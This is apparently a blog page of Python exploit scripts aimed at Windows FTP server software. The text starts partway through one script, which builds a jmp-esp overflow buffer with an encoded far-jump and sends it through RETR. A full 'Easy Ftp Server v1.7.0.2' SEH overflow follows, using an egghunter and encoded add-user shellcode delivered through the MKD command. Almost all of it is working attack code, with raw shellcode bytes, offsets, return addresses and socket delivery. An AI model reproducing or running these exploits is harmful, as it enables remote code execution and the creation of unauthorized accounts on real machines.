"\x2D\x56\x55\x55\x5B"     # SUB EAX,5B555556
"\x50"                     # PUSH EAX
"\x25\x4A\x4D\x4E\x55"     # AND EAX,554E4D4A
"\x25\x35\x32\x31\x2A"     # AND EAX,2A313235
"\x2D\x5D\x60\x4E\x55"     # SUB EAX,554E605D
"\x2D\x5D\x60\x4E\x55"     # SUB EAX,554E605D
"\x2D\x5D\x60\x4E\x55"     # SUB EAX,554E605D
"\x50"                     # PUSH EAX
"\xEB\xC1")                # JMP SHORT 0112CAE0 (back to the beginning of ESP,
                           # ESP now points to our decoded far-jump).
 
#-----------------------------------------------------------------------------------
#
# At crash time our buffer is copied several times into memory (some of these are
# corrupt), so we write some fancy far-jump instruction in ESP. After this is
# decoded in memory we jump to our nop bytes (i think 3de itteration of our buffer).
# Ironically this doesn't even crash the program, only when you close the bind
# shell connection does the program crash...
#
# jmp esp - user32.dll => 0x7E429353
#-----------------------------------------------------------------------------------
buffer = "\x90"*41 + shellcode + "\x90"*23 + "\x53\x93\x42\x7E" + "\x90"*1 + farjump + "\x90"*175
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.71',21))
s.recv(1024)
s.send('USER ' + 'b33f\r\n')
print (s.recv(1024))
s.send('PASS b33f\r\n')
print (s.recv(1024))
s.send('RETR ' + buffer + '\r\n')
s.close

Easy Ftp Server v1.7.0.2 Post-Authentication BoF

admin — Wed, 01 Jun 2011 18:15:07 +0000

^?View Code PYTHON

#!/usr/bin/python
 
# Title: Easy~Ftp Server v1.7.0.2 Post-Authentication BoF
# Original Author: dookie2000ca || Windows XP SP3 Professional
# Author: b33f
# Windows XP Home SP1
# Software link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip
 
import socket
import sys
 
#-------------------------------------------------------------------------------
#SE Handler is overwritten - offset to SEH 256
#short jump \xEB\x07
#pop pop ret rpcrt4.dll 78011926
#badchars 0x00 0x0a 0x2f 0x5c
#-------------------------------------------------------------------------------
 
bunny = (
"\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"
"\x77\x30\x30\x74" # egghunter marker w00t
"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")
 
#win32_adduser - PASS=u EXITFUNC=seh USER=fuck Size=228 Encoder=ShikataGaNai
shellcode = (
"\xdb\xd3\x31\xc9\xb8\x5d\x82\xf8\x52\xb1\x34\xd9\x74\x24\xf4\x5f"
"\x83\xc7\x04\x31\x47\x13\x03\x1a\x91\x1a\xa7\x58\x7d\x9e\x48\xa0"
"\x7e\x94\x0c\x9c\xf5\xd6\x8b\xa4\x08\xc8\x1f\x1b\x13\x9d\x7f\x83"
"\x22\x4a\x36\x48\x10\x07\xc8\xa0\x68\xd7\x52\x90\x0f\x17\x10\xef"
"\xce\x52\xd4\xee\x12\x89\x13\xcb\xc6\x6a\xd8\x5e\x02\xf9\xbf\x84"
"\xcd\x15\x59\x4f\xc1\xa2\x2d\x10\xc6\x35\xd9\x25\xea\xbe\x1c\xd2"
"\x9a\x9d\x3a\x20\x5e\x2c\x83\x4c\xeb\x0f\x33\x09\x2b\xf7\x3f\x9a"
"\xec\x04\xcb\xec\xf0\xb9\x40\x64\x01\x29\x5f\xff\x91\x1d\x60\xff"
"\x91\xd6\x09\xc3\xce\xd9\x3f\x5b\xa7\x90\x38\x18\x87\xd8\xe8\x76"
"\xf8\x95\x0d\xd9\x90\x31\xf3\x6f\x6e\x15\xf3\x88\x0c\xf4\x6f\x78"
"\xb6\x7e\x15\xa4\x17\x1c\xf5\xca\x02\x96\xd5\x67\xbe\x33\x64\xa7"
"\x26\xc9\xeb\xcc\x86\x44\xcc\x3d\x86\xe2\x48\x61\x2e\xcd\x70\x0f"
"\x4b\x65\x51\xa3\xfc\xe6\xf0\x57\x64\x9b\x9d\xd2\x1a\x7b\x23\x78"
"\xb6\x12\xcd\xe9\x3b\x91\x63\x88\xcf\x36\xf6\x39\x10\xaf\x83\xde"
"\x3b\x0f\x43\x61\xf8\x0b\x9b")
 
payload = "A"*7 + "w00tw00t" + shellcode + "A"*10 + "\xEB\x07\x90\x90" + "\x26\x19\x01\x78" + "\x90"*25 + bunny + "A"*133
 
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.70',21))
s.recv(1024)
s.send('USER b33f\r\n')
s.recv(1024)
s.send('PASS b33f\r\n')
s.recv(1024)
s.send('MKD ' + payload + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close